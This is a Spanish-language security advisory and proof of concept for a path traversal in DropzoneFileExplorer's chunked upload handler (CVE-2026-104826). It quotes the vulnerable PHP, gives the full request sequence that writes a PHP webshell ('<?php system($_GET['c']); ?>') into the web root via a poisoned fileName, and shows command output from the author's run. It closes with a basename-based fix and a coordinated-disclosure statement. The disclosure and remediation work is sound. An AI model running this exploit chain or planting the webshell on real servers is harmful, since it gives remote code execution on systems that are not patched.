
Prueba de concepto de cadena de explotación para CVE-2026-104826, un path traversal en el manejador de carga fragmentada de DropzoneFileExplorer que escribe un webshell PHP para ejecución remota de código.
El manejador de subidas reanudables (por chunks) confía en el fileName proporcionado por el cliente hasta llegar a fopen(). Aliméntalo con ../../ y escribirás fuera de tu carpeta permitida, fuera de la raíz de almacenamiento, dentro de la raíz web. La aplicación sirve PHP, así que el archivo que plantas se ejecuta.
Proyecto: KeepCoolCH/DropzoneFileExplorer
| CVE | CVE-2026-104826 |
| Aviso | GHSA-7626-89vx-5rpc |
| Clase | CWE-22 (Path Traversal) -> CWE-434 -> RCE |
| Auth | autenticado por defecto, no autenticado si AUTH_ENABLE=false |
| CVSS v4.0 | 8.5 Alto (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) |
| Afectado | v1.1 (probado en el commit 68858e0) |
| Corregido en | v1.2 |
| Crédito | Kanarat Kaeothong (Axiom0x) |
Dos funciones importan. uploadInit toma fileName del cuerpo de la petición y lo conserva sin más que un trim() (inc/functions.php, alrededor de L2080):
$fileName = trim((string)($body['fileName'] ?? 'file')); // no basename(), no norm_rel()
// ...stored verbatim in the upload's meta.json
uploadFinalize posteriormente lo lee de vuelta y ensambla la ruta de salida (inc/functions.php, L2192-2216):
$destDir = norm_rel((string)($meta['destDir'] ?? '')); // normalized
$relPath = norm_rel((string)($meta['relativePath'] ?? '')); // normalized
$fileName = (string)($meta['fileName'] ?? 'file'); // NOT normalized
$destBaseAbs = abs_path($destDir);
ensure_inside_allowed_roots($destBaseAbs); // dir is checked
$finalDirAbs = $destBaseAbs;
if ($relPath !== '') {
$finalDirAbs = $destBaseAbs . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $relPath);
ensure_inside_allowed_roots($finalDirAbs); // dir is checked
}
$finalName = $fileName;
$finalAbs = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName; // traversal lands here
// ...
$out = @fopen($finalAbs, 'c+b'); // arbitrary write
ensure_inside_allowed_roots() está bien por sí sola. Llama a realpath() y se asegura de que la ruta permanezca bajo las raíces del usuario. El problema es lo que recibe. $destBaseAbs y $finalDirAbs se validan ambos, pero $finalAbs, el que realmente contiene el fileName del atacante, nunca lo es. fopen() recibe la cadena cruda .../shared/../../app/shell.php y el sistema operativo colapsa los .. por ti.
Cabe señalar: cualquier otra ruta de escritura en este código base o bien pasa la ruta compuesta por ensure_inside_allowed_roots() o bien envuelve el nombre en basename(). Esta no hace ninguna de las dos cosas. Se lee como un punto que fue refactorizado y la comprobación final se perdió.
v1.1 original, configuración por defecto (AUTH_ENABLE=true). El actor es un usuario normal lowpriv cuya única carpeta es shared.
Inicia sesión como lowpriv (obtén el token CSRF de la página de login, luego haz POST de auth_action=login).
Confirma que el sandbox realmente funciona. Subir directamente a la carpeta de otro es rechazado:
POST /index.php?action=uploadInit
{"destDir":"secret_admin_area","fileName":"x.txt","fileSize":0,"policy":"overwrite"}
-> {"ok":false,"error":"Access denied"}
Usa la carpeta permitida, pero envenena fileName:
POST /index.php?action=uploadInit
{"destDir":"shared","fileName":"../../app/pwned.php","fileSize":0,"policy":"overwrite"}
-> {"ok":true,"uploadId":"..."}
Envía el payload como un solo chunk:
POST /index.php?action=uploadChunk (multipart)
uploadId=<id>&index=0&total=1 + file field "chunk" = <?php system($_GET['c']); ?>
-> {"ok":true}
Finaliza:
POST /index.php?action=uploadFinalize
{"uploadId":"<id>","policy":"overwrite"}
-> {"ok":true,"path":"app/pwned.php"}
La respuesta reporta app/pwned.php. La propia aplicación te está diciendo que escribió fuera de shared y fuera de la raíz de almacenamiento.
Ejecútalo:
GET /pwned.php?c=id
-> uid=... (command output)
De mi propia ejecución contra una instancia local:
GET /pwned_axiom.php?c=id
uid=501(miniq) gid=20(staff) ...
GET /pwned_axiom.php?c=uname+-a
Darwin ... arm64
Consulta poc/exploit.py para la cadena completa (login, CSRF, envenenamiento, chunk, finalización, ejecución).
Cualquiera autorizado a subir puede escribir un archivo dondequiera que el proceso PHP pueda escribir, sin importar lo que digan las reglas de carpetas por usuario. Un archivo .php en la raíz web es ejecución remota de código como el usuario web. Con AUTH_ENABLE=false no hay paso de login y es RCE no autenticado directo.
En uploadFinalize, reduce fileName a un nombre simple antes de abrirlo, y vuelve a comprobar la ruta compuesta:
$finalName = basename($fileName); // kill any path component
$finalAbs = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;
ensure_inside_allowed_roots($finalAbs); // and verify the real target
basename() por sí solo detiene el traversal. Añadir la comprobación ensure_inside_allowed_roots($finalAbs) es la versión con tirantes y cinturón, y coincide con cómo el resto del código ya protege las escrituras. El mismo tratamiento debe aplicarse a la rama de la política rename (alrededor de L2210) donde $finalName se recalcula. El mantenedor lo incluyó en v1.2.
Divulgación coordinada, corregido antes de que esto se hiciera público. El PoC está deliberadamente dirigido a una instancia de prueba local. No lo apuntes a nada que no sea tuyo.